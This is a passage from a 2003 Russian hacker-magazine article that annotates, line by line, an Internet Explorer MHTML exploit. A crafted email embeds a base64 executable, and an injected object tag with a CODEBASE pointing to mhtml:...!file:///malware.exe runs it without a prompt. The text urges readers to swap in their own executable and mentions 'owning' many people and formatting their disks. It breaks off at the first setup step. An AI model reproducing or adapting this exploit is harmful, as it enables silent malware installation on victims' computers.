ВОЕННЫЙ HTTP’ОВЫЙ DNS - Берем контроль над браузером клиента

Спецвыпуск Xakep, номер #029, стр. 029-020-9

А коменты Дронича помогут тебе въехать, что тут и как:

//REMS by Dronich

//Стандартный заголовок почтовика.

MIME-Version: 1.0

//Далее идет описание файла, прописанного в теле письма как аттачмент.

Content-Location:file:///malware.exe

//Закодирован он по бейз64, самый клевый способ кодирования.

Content-Transfer-Encoding: base64

//Непосредственно файл. Импортируй его в почтовик, и ты увидишь АСКИИ.

//Первые два символа - MZ - этого нам достаточно, чтобы понять, что

//файло исполняемое. Не-АСКИИ символы в БАТе не увидеть :(.

//EXEbegin

...

и еще до фига белиберды...

...

PzY/Pzc/Pzg/Pzk/Pzo/Pzs/Pzw/Pz0/Pz4/Pz8/Pz8=

//EXEend

//Верхушка паги :). Все по-ламоботски просто.

<!-- 25.02.03 - http://www.malware.com -->

<title>malware.com</title>

<body bgcolor=black scroll=no>

//Угу. Скриптик. Смотрим, что делают:

<SCRIPT>

//25.02.03 - http://www.malware.com

//Описываем функцию.

function malware()

{

//В s кладем путь к файлу.

s=document.URL;

//В path кладем ту часть s, которая до последних слэшей (то бишь чисто ПУТЬ).

path=s.substr(-0,s.lastIndexOf("\\"));

//Если были ESC-chars - убиваем.

path=unescape(path);

//Вписываем в тело ХТМЛки следующее (вообще должна быть одна строка, но мы все равно компилить не собираемся):

document.write( '

//Началась чистая косметика - толку никакого :)

<title>

malware.com

</title>

<body scroll=no bgcolor=black>

<FONT face="Comic Sans MS" color=red style="position:absolute;top:20;left:90;z-index:100; font-size:2cm;">

malware.com

</center>

//А вот тут косметика кончилась...

//И понеслась!.. Внедрили объект с мистическим класс-айди, к которому точно нет описания в реестре.

//Стайл и альт - для красоты.

<object style="cursor:cross-hair" alt="moo ha ha" classid="clsid:66666666-6666-6666-6666"

//Гвоздь программы! Говорим винде, что объект с таким классом обрабатывается прогой, лежащей по адресу:

CODEBASE="mhtml:'+path+'\\malware.html!file:///malware.exe">

//То есть непосредственно в теле нашего письма :). Просто, как полбублика.

//С чистой совестью закрываем скобки и теги.

</object>

')

}

//А теперь вызываем описанную функцию с небобовой частотой (раз в 150 мс)

setTimeout("malware()",150)

</script>

//Вот так все банально. Ключи от дома в машине, машина в гараже, ключи от гаража дома :))).

//Вообще-то очень оригинально - заставить обработчик обрабатывать себя самого.

//Причем винда не заорет, так как адрес к проге-обработчику локальный, а значит запроса на загрузку нет :).

//А раз новых прог не инсталлим - то и орать не надо :).

Вот так-то! Ишак - самый жирный троян на твоей тачке. Ура M$!!! Так что поиметь в сети можно фигову тучу народу. Я уж молчу про то, что можно вообще сатанизм устроить, например, форматнуть всем винты, но я бы не стал себя ради шутки под статью подводить.

А чтобы запихать в этот эксплойт свой экзешник, который и замутит сатанинскую пати на отдельно взятом компе, надо воспользоваться самой хацкерской прогой всех времен и народов – TheBat’ом. Держи соляшен, чувак:

1. Создать новый ящик в Бате и сказать ему «Хранить аттаченные файлы в письме».